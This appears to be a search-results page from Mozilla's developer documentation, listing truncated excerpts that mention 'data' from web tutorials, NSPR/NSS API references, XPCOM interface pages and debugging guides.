the context api the application that we built in this tutorial utilized component props to pass data from its app component to the child components that needed it.
... most of the time, props are an appropriate method for sharing data; for complex, deeply nested applications, however, they're not always best.
... react provides the context api as a way to provide data to components that need it without passing props down the component tree.
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
so far, we've seen how components can share data using props, and communicate with their parents using events and two-way data binding.
... so far we saw how to send information to a component via props, and how a component can communicate with its parent by emitting events or using two-way data binding.
... the child component could get a reference to the <h2> node using bind:this={dom_node} and expose it to the outside using two-way data binding.
Introduction to automated testing - Learn web development
clicking on one of these entries shows more data for the session.
... in here you can download any screenshots you took, watch a video of the session, view data logs, and more.
...clicking on one of these entries shows more data for the session.
Deploying our app - Learn web development
however, for this project we’re going to create a small test that will check the third-party nasa data feed and ensure it's in the correct format.
...": "npm run test && parcel build src/index.html" } now of course we need to add the test to our codebase; create a new directory in your root directory called tests: mkdir tests inside the new directory, create a test file: cd tests touch nasa-feed.test.js open this file, and add the contents of nasa-feed.test.js to it: this test uses the axios package to fetch the data feed we want to test; to install this dependency, run the following command: npm install --save-dev axios we need to manually install axios because parcel won't help us with this dependency.
... we also have a simple test that blocks the building and deployment of the site if the nasa api feed isn't giving us the correct data format.
Accessibility API cross-reference
ption> (for figures), and <label> with a for attribute (for input elements) a <toc> or <l> may contain a <caption> as its first item <caption> or <lbl> a cell in a table cell n/a table_cell cell <td> td not what you think - this is for the damn paperclip character n/a n/a n/a for graphics representing data chart n/a figure ?
... the heading of a table's column columnheader column_header column_header, table_column_header columnheader <th scope=col> edit control with drop down list box, different from droplist combobox combo_box combo_box combobox abstract role - a form of widget that performs an action but does not receive input data.
... contentinfo <footer> page footers are often tagged as an artifact (not "real" content) with the 'contentinfo' provided as document level xmp metadata instead the mouse pointer - when and how is this used?
Software accessibility: Where are we today?
ideally, intelligent decisions are made, so the user does not have to wade through as much non-relevant data.
... alternative ways to command the computer and enter data another problem is how people with disabilities get information into the computer.
... special keyboards exist to make data entry easier.
Debugging on Windows
you can change this behaviour, and make visual c++ display whatever data member you want in whatever order, formatter however you like instead of just "{...}".
...here are some entries that will make your life easier: ;; mozilla (1.7beta and later) nsautostring=<mdata,su> nsstring=<mdata,su> nscstring=<mdata,s> nscautostring=<mdata,s> nsrect=x=<x,d> y=<y,d> width=<width,d>; height=<height,d> nsstaticatomwrapper=<mstaticatom->mstring,s> nsiatom=<mstring,su> ; the following are not necessary in vc8 nscomptr<*>=<mrawptr,x> nsrefptr=<mrawptr,x> nsautoptr=<mrawptr,x> after you have made the changes and saved the file, you will need to restart visual c++ for the c...
... for xpcom strings (the "external" string api) you can use the following values: ;; mozilla (1.9) ; internal strings nsastring_internal=<mdata,su>, length=<mlength,u> nsacstring_internal=<mdata,s>, length=<mlength,u> ; xpcom strings nsastring=<nsstringcontainer.v,su>, length=<nsstringcontainer.d1,u> nsacstring=<nscstringcontainer.v,s>, length=<nscstringcontainer.d1,u> nsstringcontainer=<v,su>, length=<d1,u> nscstringcontainer=<v,s>, length=<d1,u> there is a more extensive version of this file in progress in autoexpforvc8.
HTTP logging
limiting the size of the logged data by default there is no limit to the size of log file(s), and they capture the logging throughout the time firefox runs, from start to finish.
... if you are using firefox >= 51, setting this option saves only the last n megabytes of logging data, which helps keep them manageable in size.
... using the rotate module automatically adds timestamps to the log, so it’s always easy to recognize which file keeps the most recent data.
Embedding Tips
how do i save a document or data to disk?
... how do i save / upload a document / data to a web or ftp site?
... the default useragent is set using the value from your application.ini/nsxreappdata.
IPDL Best Practices
using ipdl generated structs as data structures outside of ipc serialization/deserialization ipdl generated structures are meant to facilitate serialization/deserialization and message passing.
... do not use them as data structures outside of ipdl, or wou will eventually find yourself in bad situations to implement proper memory management.
...implement (preferably reference counted) classes to wrap the shared data instead of letting several objects reference surfacedescriptors or their content directly.
Downloads.jsm
fetch() downloads data from a remote network location to a local file.
... since the download cannot be restarted, any partially downloaded data will not be kept in case the download fails.
...the download object can be used without requiring direct database access.
Mozilla Web Developer FAQ
often the content of a cell in a table of tabular data does not constitute a paragraph.
... cdata sections are supported.
...this affects data round tripping using hidden form inputs.
DMD
since you cannot mark files in /sdcard/ as executable, we will use /data/local/tmp for this purpose: adb push dmd_fennec /data/local/tmp adb shell cd /data/local/tmp chmod 755 dmd_fennec the final step is to make android use the above wrapper script while launching fennec, so that the environment variable is present when fennec starts up.
... adb shell su # you need root access for the setprop command to take effect setprop wrap.org.mozilla.fennec_$username "/data/local/tmp/dmd_fennec" once this is set up, starting the org.mozilla.fennec_$username app will use the wrapper script.
... note: to dump dmd data from content processes, you'll need to disable the sandbox moz_dmd_shutdown_log must (currently) include the trailing separator (''/") post-processing dmd.py also takes options that control how it works.
PRSockOption
enumeration type used in the option field of prsocketoptiondata to form the name portion of a name-value pair.
... pr_sockopt_linger time to linger on close if data is present in the socket send buffer.
...the option field of prsocketoptiondata should be set to an enumerator of type prsockoption.
PR_GetSocketOption
syntax #include <prio.h> prstatus pr_getsocketoption( prfiledesc *fd, prsocketoptiondata *data); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing the socket whose options are to be retrieved.
... data a pointer to a structure of type prsocketoptiondata.
...on output, this structure contains the requested socket option data.
PR_NewTCPSocket
after a connection is established, the client and server may send and receive data between each other.
... to receive data, one can call pr_read or pr_recv.
... to send data, one can call pr_write, pr_writev, pr_send, or pr_transmitfile.
PR_NewUDPSocket
description udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/ip protocol suite.
... udp datagrams may be lost or delivered in duplicates or out of sequence.
...datagrams can be sent with pr_sendto and received with pr_recvfrom.
PR_Notify
notifies a monitor that a change in state of the monitored data has occurred.
... description notification of a monitor signals the change of state of some monitored data.
... the changing of that data and the notification must all be performed while in the monitor.
PR_OpenTCPSocket
after a connection is established, the client and server may send and receive data between each other.
... to receive data, one can call pr_read or pr_recv.
... to send data, one can call pr_write, pr_writev, pr_send, or pr_transmitfile.
PR OpenUDPSocket
description udp (user datagram protocol) is a connectionless, unreliable datagram protocol of the tcp/ip protocol suite.
... udp datagrams may be lost or delivered in duplicates or out of sequence.
...datagrams can be sent with pr_sendto and received with pr_recvfrom.
PR_SetSocketOption
syntax #include <prio.h> prstatus pr_setsocketoption( prfiledesc *fd, prsocketoptiondata *data); parameters the function has the following parameters: fd a pointer to a prfiledesc object representing the socket whose options are to be set.
... data a pointer to a structure of type prsocketoptiondata specifying the options to set.
... description on input, the caller must set both the option and value fields of the prsocketoptiondata object pointed to by the data parameter.
PR_TransmitFile
syntax #include <prio.h> print32 pr_transmitfile( prfiledesc *networksocket, prfiledesc *sourcefile, const void *headers, print32 hlen, prtransmitfileflags flags, printervaltime timeout); parameters the function has the following parameters: networksocket a pointer to a prfiledesc object representing the connected socket to send data over.
... headers a pointer to the buffer holding the headers to be sent before sending data.
... flags one of the following flags: pr_transmitfile_keep_open indicates that the socket will be kept open after the data is sent.
Function_Name
syntax #include <headers.h> returntype function_name( paramtype paramname, paramtype paramname, ); parameters paramname sample: in pointer to a certcertdbhandle representing the certificate database to look in paramname sample: in pointer to an secitem whose type must be sidercertbuffer and whose data contains a der-encoded certificate description long description of this function, what it does, and why you would use it.
...a match is found when the issuer and serial number of the der-encoded certificate are found on a certificate in the certificate database.
... returns full description of the return value, for example: a pointer to a certcertificate representing the certificate in the database that matched the dercert, or null if none was found.
HTTP delegation
one might expect the api defines a simple function that accepts the uri and data to be sent, and returns the result data.
...(when issueing get requests, the "?query-string=data" portion should already be appended to the request path) after creation, nss might call functions to provide additional details of the http request (e.g.
... sec_httprequest_setpostdatafcn).
HTTP delegation
one might expect the api defines a simple function that accepts the uri and data to be sent, and returns the result data.
...(when issuing get requests, the "?query-string=data" portion should already be appended to the request path) after creation, nss might call functions to provide additional details of the http request (e.g.
... sec_httprequest_setpostdatafcn).
NSS 3.12.5 release_notes
the caller of pk11_readrawattribute should free the data buffer pointed to by item using a secitem_freeitem(item, pr_false) or port_free(item->data) call.
...if pool is null but dest is not null, the caller should free the data buffer pointed to by dest with a secitem_freeitem(dest, pr_false) or port_free(dest->data) call.
...t leaves the certificate undiscoverable by cert_pkixverifycert bug 518443: pk11_importandreturnprivatekey leaks an arena bug 518446: pk11_derencodepublickey leaks a certsubjectpublickeyinfo bug 518457: seckey_encodedersubjectpublickeyinfo and pk11_derencodepublickey are duplicate bug 522510: add deprecated comments to key.h and pk11func.h bug 522580: nss uses port_memcmp for comparing secret data.
NSS 3.24 release notes
this mode is triggered by setting the database password to the empty string.
...separate functions for configuring online certificate status protocol (ocsp) responses or signed certificate timestamps are not needed, since these can be added to the optional sslextraservercertdata struct provided to ssl_configservercert.
...(see portcheaparenapool.) new types in sslt.h sslextraservercertdata - optionally passed as an argument to ssl_configservercert.
sample1
htag = sec_oid_unknown; for (i = 0; i < nhashes; i++) { if (port_strcasecmp(hashname, hash_names[i].hashname) == 0) { hashtag = hash_names[i].oid; break; } } return hashtag; } /* newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* printashex */ void printashex(prfiledesc* out, unsigned char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int level = 1; column = level; if (!len) { pr_fprintf(out, "(empty)\n"); return; } for (i = 0; i < len; i++) { if (i != len - 1) { pr_fprintf(out, "%02x:", data[i]); column += 3; } else { pr_fprintf(o...
...ut, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* prints a usage message and exits */ static void usage(const char *progname) { int htype; int hash_algtotal = sizeof(hash_names) / sizeof(hash_names[0]); fprintf(stderr, "usage: %s -t type [ < input ] [ > output ]\n", progname); fprintf(stderr, "%-20s specify the digest method (must be one of\n", "-t type"); fprintf(stderr, "%-20s ", ""); for (htype = 0; htype < hash_algtotal; htype++) { fprintf(stderr, hash_names[htype].hashname); if ...
...onvert and validate */ hashoidtag = hashnametooidtag(hashname); if (hashoidtag == sec_oid_unknown) { fprintf(stderr, "%s: invalid digest type - %s\n", progname, hashname); usage(progname); } /* digest it and print the result */ rv = digestfile(pr_stdout, pr_stdin, hashoidtag); if (rv != secsuccess) { fprintf(stderr, "%s: problem digesting data (%d)\n", progname, port_geterror()); } rv = nss_shutdown(); if (rv != secsuccess) { exit(-1); } return 0; } ...
Overview of NSS
rsa standard that governs the application of cryptography to data, for example digital signatures and digital envelopes.
...ietf message specification (based on the popular internet mime standard) that provides a consistent way to send and receive signed and encrypted mime data.
... the nss libraries passed the niscc tls/ssl and s/mime test suites (1.6 million test cases of invalid input data).
FC_DecryptDigestUpdate
pencryptedpart [in] pointer to the encrypted data part.
... ulencryptedpartlen [in] length of encrypted data in bytes.
... ppart [in] pointer to the location which receives the recovered data part or null.
FC_DecryptFinal
plastpart [out] pointer to the location where the last block of recovered data, if any, is to be stored.
... puslastpartlen [in,out] pointer to location where the number of bytes of recovered data is to be stored.
... description fc_decryptfinal returns the last block of data of a multi-part decryption operation.
FC_GenerateRandom
syntax ck_rv fc_generaterandom( ck_session_handle hsession, ck_byte_ptr prandomdata, ck_ulong ulrandomlen ); parameters hsession [in] session handle.
... prandomdata [out] pointer to the location to receive the random data.
... description fc_generaterandom generates random data of the specified length.
FC_SignEncryptUpdate
ppart [in] pointer to the data part.
... ulpartlen [in] length of data in bytes.
... pencryptedpart [in] pointer to the location which receives the signed and encrypted data part or null.
FC_VerifyUpdate
ppart [in] pointer to the next block of the data to be verified.
... uspartlen [in] length of data block in bytes.
... description fc_verifyupdate starts or continues a multi-part signature verification operation where the signature is an appendix to the data.
NSS environment variables
pkcs #11 module logger 3.6 nss_default_db_type string ("dbm", "sql", or "extern") determines the default database type to open if the app does not specify.
...audit data 3.11.2 nss_enable_pkix_verify boolean (any non-empty value to enable) use libpkix, rather than the old cert library, to verify certificates.
... 3.7 nss_sdb_use_cache string ("no","yes","auto") controls whether nss uses a local cache of sql database contents.
sslintro.html
ssl_getclientauthdatahook.
...you can set the callback function to a standard one that is provided, nss_getclientauthdata.
...after these tasks have been performed, call nss_shutdown to close the certificate and key databases opened by nss_init, and pr_cleanup to coordinate a graceful shutdown of nspr.
Utility functions
function name/documentation source code nss versions atob_asciitodata mxr deprecated 3.2 use nssbase64_decodebuffer atob_convertasciitoitem mxr deprecated 3.2 use nssbase64_decodebuffer btoa_convertitemtoascii mxr deprecated 3.2 use nssbase64_encodeitem btoa_datatoascii mxr deprecated 3.2 use nssbase64_encodeitem der_asciitotime mxr 3.5 and la...
...d later sec_pkcs5getkeylength mxr 3.2 and later sec_pkcs5getpbealgorithm mxr 3.2 and later sec_pkcs5isalgorithmpbealg mxr 3.2 and later sec_pkcs5isalgorithmpbealgtag mxr 3.12 and later sec_registerdefaulthttpclient mxr 3.11.1 and later sec_signdata mxr 3.2 and later sec_stringtooid mxr 3.12 and later secitem_allocitem mxr 3.2 and later secitem_arenadupitem mxr 3.9 and later secitem_compareitem mxr 3.2 and later secitem_copyitem mxr 3.2 and later secitem_dupitem mxr ...
...textdirect or vfy_createcontextwithalgorithmid vfy_createcontextdirect mxr 3.12 and later vfy_createcontextwithalgorithmid mxr 3.12 and later vfy_destroycontext mxr 3.2 and later vfy_end mxr 3.2 and later vfy_update mxr 3.2 and later vfy_verifydata mxr deprecated 3.12 use vfy_verifydatadirect or vfy_verifydatawithalgorithmid vfy_verifydatadirect mxr 3.12 and later vfy_datawithalgorithmid mxr 3.12 and later vfy_verifydigest mxr deprecated 3.12 use vfy_verifydigestdirect or vfy_verifydigestwithalgorithmid vfy_verifydigestdirect ...
JS::CompileOffThread
syntax bool js::cancompileoffthread(jscontext *cx, const js::readonlycompileoptions &options, size_t length); bool js::compileoffthread(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::offthreadcompilecallback callback, void *callbackdata); jsscript * js::finishoffthreadscript(jscontext *maybecx, jsruntime *rt, void *token); typedef void (*js::offthreadcompilecallback)(void *token, void *callbackdata); name type description cx / maybe jscontext * pointer to a js context from which to derive runtime information.
... callbackdata / token void * pointer to application-defined data.
... after successfully triggering an off thread compile of a script, the callback will eventually be invoked with the specified data and a token for the compilation.
JS::SourceBufferHolder
constructor enum ownership { noownership, giveownership }; js::sourcebufferholder(const char16_t *data, size_t datalength, ownership ownership); name type description data const char16_t * source buffer containing the script to compile.
... datalength size_t the length of data, in characters.
...rules for use: the data array must be allocated with js_malloc or js_realloc if ownership is being granted to the sourcebufferholder.
JS_GetCompartmentPrivate
syntax void js_setcompartmentprivate(jscompartment *compartment, void *data); void * js_getcompartmentprivate(jscompartment *compartment); name type description compartment jscompartment * any compartment data void * (in js_setcompartmentprivate) pointer to application-defined data to be associated with the compartment.
...it is especially useful for storing data needed by callbacks.
... memory management for this private data is the application's responsibility.
Feed content access API
loading the feed and sending it to the parser is done using code similar to this: fetch: function(feedurl) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createi...
...nstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're loading a document into a string, then parsing that string using its parsefromstring() method.
... doc.write("</body></html>"); doc.close(); } } the handleresult() function receives as its argument an nsifeedresult that describes a feed; its doc property is an nsifeed that contains all the feed data.
Fun With XBL and XPConnect
<binding name="autocomplete" extends="xul:box"> <content> <xul:textfield class="addressingwidget"/> <xul:menupopup/> </content> <implementation> <property name="autocompletesession"> <![cdata[ components.classes['component://netscape/messenger/autocomplete&type=addrbook'].
... <method name="autocomplete"> <argument name="asearchstring"/> <argument name="resultlistener"/> <body> <![cdata[ return this.autocompletesession.autocomplete(null, anonymouscontent[0], asearchstring, this.autocompletelistener); ]]> </body> </method> you can see that the body of the method is just getting the auto complete session object and calling the auto complete method on it.
...i could apply a trick similar to what i did for the xpcom object: <property name="autocompletelistener"> <![cdata[ ({ onautocompleteresult: function(aitem, aoriginalstring, amatch) { if ( aitem ) { anonymouscontent[0].value = amatch; } } }) ]]> </property> as long as the js for the value of autocompletelistener evaluates to an object (and wrapping the expression with a set of parens like i did, does this), then the value of autocom...
Packaging WebLock
like the windows registry, the chrome registry is a database of information about applications, skins, and other extensions that have been installed in a gecko application.
... since mozilla and other gecko-based applications are cross-platform, this database is abstracted above the operating system or any particular platform's registry.
... the chrome registry lives in a series of rdf/xml files in the application directory of mozilla and other gecko-based browsers, where new installs, user configurable data, skins, and other information are related to one another and the application itself.
IAccessibleTable
this data is only guaranteed to be valid while the thread notifying the event continues.
... once the handler has returned, the validity of the data depends on how the server manages the life cycle of its objects.
...servers should document their life cycle strategy as this will be of interest to assistive technology or script engines accessing data out of process or from other threads.
IAccessibleTable2
this data is only guaranteed to be valid while the thread notifying the event continues.
... once the handler has returned, the validity of the data depends on how the server manages the life cycle of its objects.
...servers should document their life cycle strategy as this will be of interest to assistive technology or script engines accessing data out of process or from other threads.
mozIRegistry
lastly, there's one component (labelled "mozrdfregistry/nsirdfdatabase") that potentially will emerge as an improved implementation of one of the moziregistry interfaces.
...it is envisioned that there will be multiple flavors of underlying rdf data sources corresponding to the libreg .reg file(s), the shared libraries installed, additional components accessible via the 'net, etc.
... the contents of this rdf data base will be stored in a plain-text rdf/xml file so that it can easily be viewed edited.
nsIAccessibleEvent
event_visible_data_changed 0x0039 0x0035 a visible data event indicates the change of the visual appearance of an accessible object.
... event_table_model_changed 0x003d 0x0039 a table's data changed.
...dialogstart 0x0010 event_dialogend 0x0011 event_scrollingstart 0x0012 event_scrollingend 0x0013 event_minimizestart 0x0016 event_minimizeend 0x0017 event_atk_property_change 0x0100 event_atk_selection_change 0x0101 event_atk_text_change 0x0102 event_atk_text_selection_change 0x0103 event_atk_text_caret_move 0x0104 event_atk_visible_data_change 0x0105 event_atk_table_model_change 0x0110 event_atk_table_row_insert 0x0111 event_atk_table_row_delete 0x0112 event_atk_table_row_reorder 0x0113 event_atk_table_column_insert 0x0114 event_atk_table_column_delete 0x0115 event_atk_table_column_reorder 0x0116 event_atk_link_selected 0x0117 event_atk_window_activate 0x0118 event_atk_...
nsICRLManager
inherits from: nsisupports last changed in gecko 1.7 method overview wstring computenextautoupdatetime(in nsicrlinfo info, in unsigned long autoupdatetype, in double noofdays); void deletecrl(in unsigned long crlindex); nsiarray getcrls(); void importcrl([array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey); void reschedulecrlautoupdate(); boolean updatecrlfromurl(in wstring url, in wstring key); constants constant value description type_autoupdate_time_based 1 type_autoupdate_freq_based 2 methods computenextautoupdatetime() wstring computenextautoupdatetime( in nsic...
...return value importcrl() import a crl into the certificate database.
... void importcrl( [array, size_is(length)] in octet data, in unsigned long length, in nsiuri uri, in unsigned long type, in boolean dosilentdownload, in wstring crlkey ); parameters data length uri type dosilentdownload crlkey reschedulecrlautoupdate() this would reschedule the autoupdate of crls with auto update enable.
nsIContentSecurityPolicy
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean permitsancestry(in nsidocshell docshell); void refinepolicy(in astring policystring, in nsiuri selfuri); void scanrequestdata(in nsihttpchannel achannel); void sendreports(in astring blockeduri, in astring violateddirective); short shouldload(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisupports acontext, in acstring amimetypeguess, in nsisupports aextra); short shouldprocess(in unsigned long acontenttype, in nsiuri acontentlocation, in nsiuri arequestorigin, in nsisup...
...void refinepolicy( in astring policystring, in nsiuri selfuri ); parameters policystring selfuri scanrequestdata() called after the content security policy object is created to fill in the appropriate request and request header information needed in case a report needs to be sent.
... void scanrequestdata( in nsihttpchannel achannel ); parameters achannel sendreports() manually triggers violation report sending given a uri and reason.
nsICookieManager2
avalue the cookie data.
...the imported cookies will be added to the existing cookie database.
... if the database contains any cookies that are the same as those being imported (that is, they have the same domain, name, and path), they are replaced with the ones being imported.
nsICookieStorage
acookiebuffer buffer large enough to accommodate cookie data.
...acookiebuffer buffer containing cookie data.
... acookiesize specifies size of cookie data.
nsIDOMEvent
dom/interfaces/events/nsidomevent.idlscriptable this interface is the primary data type for all events in the document object model.
... method overview boolean deserialize(in constipcmessageptr amsg, out voidptr aiter); violates the xpcom interface guidelines void duplicateprivatedata(); native code only!
...000000 alt_mask 0x00000001 control_mask 0x00000002 shift_mask 0x00000004 meta_mask 0x00000008 methods violates the xpcom interface guidelines deserialize() boolean deserialize( in constipcmessageptr amsg, out voidptr aiter ); parameters amsg aiter return value native code only!duplicateprivatedata void duplicateprivatedata(); parameters none.
nsIDOMGeoPositionError
error constants constant value description permission_denied 1 the user denied permission to retrieve location data.
... position_unavailable 2 unable to access location data.
... timeout 3 a timeout occurred while trying to retrieve location data ...
nsIDOMHTMLAudioElement
last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsidomhtmlmediaelement method overview unsigned long long mozcurrentsampleoffset(); void mozsetup(in pruint32 channels, in pruint32 rate); [implicit_jscontext] unsigned long mozwriteaudio(in jsval data); methods mozcurrentsampleoffset() non-standard this feature is non-standard and is not on a standards track.
...unsigned long mozwriteaudio( in jsval data ); parameters data the samples to write into the audio stream, specified either as a javascript array or as a numeric typed array.
...ns_error_dom_type_mismatch_err the data isn't a valid data type (an array or typed array of numeric values).
nsIDOMStorageWindow
data stored in local storage may only be accessed from the same origin that inserted the data into storage in the first place.
... moz_indexeddb nsiidbfactory indexed databases for the current browsing context.
...data stored in session storage may be accessed by any site in the browsing context.
nsIDOMXULElement
database nsirdfcompositedatasource read only.
... returns the template builder's database, if it is an rdf template.
... datasources domstring gets/sets the value of the element's datasources attribute.
nsIDeviceMotion
methods addlistener() when called, the accelerometer support implementation must begin to notify the specified nsidevicemotionlistener by calling its nsidevicemotionlistener.onaccelerationchange() method as appropriate to share updated acceleration data.
... void addlistener( in nsidevicemotionlistener alistener ); parameters alistener the nsidevicemotionlistener object whose nsidevicemotionlistener.onaccelerationchange() method should be called with updated acceleration data.
... see also mozorientation nsidomorientationevent nsidevicemotiondata nsidevicemotionlistener ...
nsIDeviceMotionListener
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void onmotionchange(in nsidevicemotiondata amotiondata); methods onmotionchange() called when new orientation or acceleration data is available.
... void onmotionchange( in nsidevicemotiondata amotiondata ); parameters aacceleration the nsidevicemotiondata object describing updated motion information.
... see also mozorientation nsidomorientationevent nsidevicemotion nsidevicemotiondata ...
nsIFrameScriptLoader
for example: let windowmm = window.messagemanager; windowmm.loadframescript('data:,dump("foo\n");', true); this will load a separate instance of the frame script into every tab open in the window associated with this window message manager.
...data: urls are also supported.
... for example data:,dump("foo\n"); aallowdelayedload boolean if true, this flag means that the frame script will be loaded into any new frames opened after the loadframescript() call, until removedelayedframescript() is called for that script.
nsIIdleService
the data parameter for the notification contains the current user idle time in gecko 15 and earlier or 0 in gecko 16 and later.
...the data parameter for the notification contains the current user idle time.
... example 2 var idleservice = components.classes["@mozilla.org/widget/idleservice;1"] .getservice(components.interfaces.nsiidleservice) var idleobserver = { observe: function(subject, topic, data) { alert("topic: " + topic + "\ndata: " + data); } }; idleservice.addidleobserver(idleobserver, 60); // one minute // ...
nsIJSON
this method is intended for use only by code processing legacy data.
... this method is intended for use only by code processing legacy data.
... this method is intended for use only by code processing legacy data.
nsILocalFile
nsresult readlocalfile(nsilocalfile *alocalfile) { file *fp; nsresult rv = alocalfile->openansifiledesc("r", &fp); if (ns_failed(rv)) return rv; char buf[512]; size_t n; while ((n = fread(buf, sizeof(buf), 1, fp)) > 0) { // do something with n-byte block of data from file...
... pr_sync if set, each write will wait for both the file data and file status to be physically updated.
... nsresult readlocalfile(nsilocalfile *alocalfile) { prfiledesc *fd; nsresult rv = alocalfile->opennsprfiledesc(pr_rdonly, 0, &fd); if (ns_failed(rv)) return rv; char buf[512]; print32 n; while ((n = pr_read(fd, buf, sizeof(buf))) > 0) { // do something with n-byte block of data from file...
nsILoginMetaInfo
toolkit/components/passwordmgr/public/nsiloginmetainfo.idlscriptable an object that contains metadata for logins stored by the login manager.
... this data can usually be ignored by most users of the login manager, which will create and maintain appropriate default values.
...metadata properties are ignored when comparing logins.
nsIMemory
these types will be passed as the adata parameter of the of the "memory-pressure" notification: "low-memory" this will be passed as the value of adata when a low-memory condition occurs (not necessarily an out-of-memory condition).
... "heap-minimize" this will be passed as the value of adata when an explicit call to heapminimize() was made.
... "alloc-failure" this will be passed as the value of adata when an out-of-memory condition occurs.
nsIMemoryMultiReporter
1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) if you want to gather multiple measurements in a single operation (such as a single traversal of a large data structure), you can use a multi-reporter to do so.
... closure an object containing any additional data your callback might need; this gets passed to the callback.
... you can specify null if your callback doesn't require any additional data.
nsIMessageBroadcaster
see nsimessagelistener::receivemessage() for the format of the data delivered to listeners.
... warning: broadcasting messages can be very expensive and leak sensitive data.
... a structured clone of this becomes the data property of the received message.
nsIPrefBranch2
atopic - the string defined by ns_prefbranch_prefchange_topic_id adata - the name of the preference which has changed, relative to the "root" of the asubject branch.
... asubject.get*pref(adata) will get the new value of the modified preference.
... for example, if your observer is registered with addobserver("bar.", ...) on a branch with root "foo.", modifying the preference "foo.bar.baz" will trigger the observer, and adata parameter will be "bar.baz".
nsIPrefService
d in gecko 1.7 method overview nsiprefbranch getbranch(in string aprefroot); nsiprefbranch getdefaultbranch(in string aprefroot); void readuserprefs(in nsifile afile); void resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbranch() call to get a preferences "branch" which accesses user preference data.
... getdefaultbranch() call to get a preferences branch which accesses only the default preference data.
... note: if nsnull is passed in for the afile parameter the preference data is written out to the current preferences file (usually prefs.js.) void savepreffile( in nsifile afile ); parameters afile the file to be written.
nsIProcessScriptLoader
for example: let ppmm = services.ppmm.getchildat(1); ppmm.loadprocessscript('data:,dump("foo\n");', true); parameters name type description aurl string url for the script to load.
...data: urls are also supported.
... for example data:,dump("foo\n"); aallowdelayedload boolean if this flag is false, the process script will only be loaded into child processes that are already running at the time of the call.
nsISyncMessageSender
see nsimessagelistener::receivemessage() for the format of the data delivered to listeners.
... a structured clone of this becomes the data property of the received message.
... a structured clone of this becomes the data property of the received message.
nsIWebNavigation
method overview void goback void goforward void gotoindex( in long index ) void loaduri(in wstring uri , in unsigned long loadflags , in nsiuri referrer , in nsiinputstream postdata, in nsiinputstream headers) void reload(in unsigned long reloadflags) void stop(in unsigned long stopflags) constants load flags constant value description load_flags_mask 65535 this flag defines the range of bits that may be specified.
... void loaduri( wstring uri, unsigned long loadflags, nsiuri referrer, nsiinputstream postdata, nsiinputstream headers ); parameters uri the uri string to load.
... postdata if the uri corresponds to a http request, then this stream is appended directly to the http request headers.
nsIWebSocketChannel
1003 close_unsupported the connection is being terminated because the endpoint received data of a type it cannot accept (for example, a text-only endpoint received binary data).
... 1004 close_too_large the endpoint is terminating the connection because a data frame was received that is too large.
...void sendbinarymsg( in acstring amsg ); parameters amsg the data to send.
nsIWebappsSupport
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void installapplication(in wstring title, in wstring uri, in wstring iconuri, in wstring icondata); boolean isapplicationinstalled(in wstring uri); methods installapplication() this method installs a web application.
... void installapplication( in wstring title, in wstring uri, in wstring iconuri, in wstring icondata ); parameters title the user-friendly name of the application.
...icondata a base64 encoded representation of the application's icon.
nsIWorkerMessageEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void initmessageevent(in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data domstring the event's data.
... void initmessageevent( in domstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in domstring adataarg, in domstring aoriginarg, in nsisupports asourcearg ); parameters atypearg the event type.
... adataarg the data to place into the data attribute.
nsIXMLHttpRequest
for instance, as done in example 2, the flag of load_anonymous is added, this strips all user data (cookies, tokens, etc).
... example code this is a simple example code for opening a simple http request from a xul application (like a mozilla extension) without using observers: var req = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('post', "http://www.foo.bar:8080/nietzsche.do", true); req.send('your=data&and=more&stuff=here'); example 2 var {cu: utils, cc: classes, ci: instances} = components; cu.import('resource://gre/modules/services.jsm'); function xhr(url, cb) { let xhr = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(ci.nsixmlhttprequest); let handler = ev => { evf(m => xhr.removeeventlistener(m, handler, !1)); switch (ev.type) { case 'lo...
